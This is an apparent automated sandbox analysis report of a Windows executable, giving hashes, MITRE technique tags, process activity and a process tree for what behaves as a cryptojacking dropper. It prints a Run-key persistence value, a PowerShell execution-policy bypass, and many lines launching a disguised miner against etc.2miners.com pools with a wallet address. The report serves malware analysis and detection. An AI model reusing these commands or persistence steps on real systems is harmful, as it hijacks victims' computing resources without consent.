041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171

Analysis

max time kernel
3s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/09/2026, 23:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
Size 20.3MB
Sample260910-3xtxeszsg1
SHA256 041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171
MD5 c5920661324ffa4e4589e8b7fd5cb0d0
SHA1 a4faba679848c5e5ac99f4dfa6db10136313826e
SHA512 cdd36268a24305e32d1f51d6da16ddf63b5e70a1b971e8361db5e58b93d88fc6cae33754c95fda8f14917e06f035706bd6d5e50fe3e4860ece288bea717948f6
SSDEEP 393216:ORLDX2JmjPbTddAYwB9jIulfD08OpGuN6mdUSCJYkwZ:AjwXEvbN9qJikwZ
TLSH
T1F72733A45E5C0988E437A03B43E9DE40D5273880ABF4B5C71B966F1FDD62ED01A353EA
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

execution persistence upx

Malware Config

Signatures

Loads dropped DLL 12 IoCs

pid	Process
2592	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2592	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2592	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2592	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2592	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2592	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2592	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2592	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2592	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2592	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2592	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2592	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\HostTask = "C:\\Users\\Admin\\AppData\\Local\\Temp\\041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe"	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000d00000001c58c-232.dat	upx
behavioral2/memory/572-238-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/5912-240-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/3444-239-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/1468-237-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/4236-241-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/3444-242-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/5912-243-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/1468-244-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/3916-247-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/2080-246-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/5060-245-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/3024-248-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/1384-250-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/572-249-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/4712-251-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/5116-254-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/2080-255-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/468-256-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/3916-257-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/4648-258-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/4236-253-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/5060-252-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/1384-259-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/4976-260-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/4648-262-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/4712-267-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/6364-268-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/4656-263-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/6088-270-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/3184-272-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/6856-276-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/6976-277-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/5952-273-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/5864-271-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/5116-269-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/4976-278-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/468-281-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/3780-283-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/1292-285-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/6632-284-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/6588-282-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/2296-279-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/6592-280-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/6064-287-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/7572-286-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/8136-288-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/7272-289-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/6348-291-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/4336-292-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/5476-290-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/700-293-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/7880-294-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/7224-295-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/6324-297-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/6360-296-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/4820-298-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/8088-299-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/1900-302-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/2296-303-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/6536-300-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/5312-305-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/4280-304-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx
behavioral2/memory/2580-306-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp	upx

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5352	powershell.exe
2960	powershell.exe

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
8572	cmd.exe
8780	cmd.exe
6148	cmd.exe
6400	cmd.exe
7060	cmd.exe
8064	cmd.exe
2084	cmd.exe
5716	cmd.exe
5516	cmd.exe
3060	cmd.exe
3740	cmd.exe
1052	cmd.exe
7264	cmd.exe
5392	cmd.exe
6232	cmd.exe
5200	cmd.exe
6588	cmd.exe
8384	cmd.exe
6676	cmd.exe
1392	cmd.exe
3080	cmd.exe
8544	cmd.exe
5772	cmd.exe
2772	cmd.exe
5488	cmd.exe
8772	cmd.exe
8996	cmd.exe
676	cmd.exe
5756	cmd.exe
2384	cmd.exe
1684	cmd.exe
7932	cmd.exe
7944	cmd.exe
5684	cmd.exe
1104	cmd.exe
6748	cmd.exe
4320	cmd.exe
9016	cmd.exe
9100	cmd.exe
5388	cmd.exe
6684	cmd.exe
6904	cmd.exe
7092	cmd.exe
7296	cmd.exe
2232	cmd.exe
6824	cmd.exe
6848	cmd.exe
7588	cmd.exe
5640	cmd.exe
8712	cmd.exe
5480	cmd.exe
2580	cmd.exe
2924	cmd.exe
1228	cmd.exe
7664	cmd.exe
7756	cmd.exe
6312	cmd.exe
2016	cmd.exe
2732	cmd.exe
3296	cmd.exe
4932	cmd.exe
3612	cmd.exe
8516	cmd.exe
5724	cmd.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
2592	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2592	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
5352	powershell.exe
5352	powershell.exe
5352	powershell.exe
2592	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2592	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2592	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2592	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2592	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2592	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2592	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2592	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2592	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2592	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2592	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
Token: SeDebugPrivilege	5352	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 3388 wrote to memory of 2592	3388	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	90
PID 2592 wrote to memory of 5352	2592	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	91
PID 2592 wrote to memory of 4800	2592	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	92
PID 2592 wrote to memory of 3964	2592	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	95
PID 5352 wrote to memory of 3848	5352	powershell.exe	98
PID 3964 wrote to memory of 4272	3964	cmd.exe	99
PID 4800 wrote to memory of 4604	4800	cmd.exe	100
PID 3848 wrote to memory of 5764	3848	csc.exe	101
PID 2592 wrote to memory of 5756	2592	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	102

C:\Users\Admin\AppData\Local\Temp\041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
"C:\Users\Admin\AppData\Local\Temp\041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3388
- C:\Users\Admin\AppData\Local\Temp\041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
  "C:\Users\Admin\AppData\Local\Temp\041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe"
  2⤵
  - Loads dropped DLL
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2592
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Roaming\Host Task\dynamic_power.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5352
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zdnufz50\zdnufz50.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3848
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9224.tmp" "c:\Users\Admin\AppData\Local\Temp\zdnufz50\CSCED32F968AC9E43CAB1F444E5AB8C9741.TMP"
        5⤵
        
        PID:5764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4800
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4604
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:1468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3964
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4272
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:4236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:5756
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5016
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:2664
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:1104
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:4976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4920
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4620
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:5060
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:2384
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5484
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:2080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:248
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3552
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:3916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4612
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:6232
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4760
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3128
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:3024
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5408
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5252
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:5116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:5684
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:1960
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:3136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:2900
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7004
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:2484
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:6848
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7048
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4784
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4236
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:3180
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7728
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:3320
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6392
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7368
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6244
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7016
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:4236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6480
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6804
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6964
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:6684
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6280
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:4384
- - C:\Windows\system32\cmd.exe
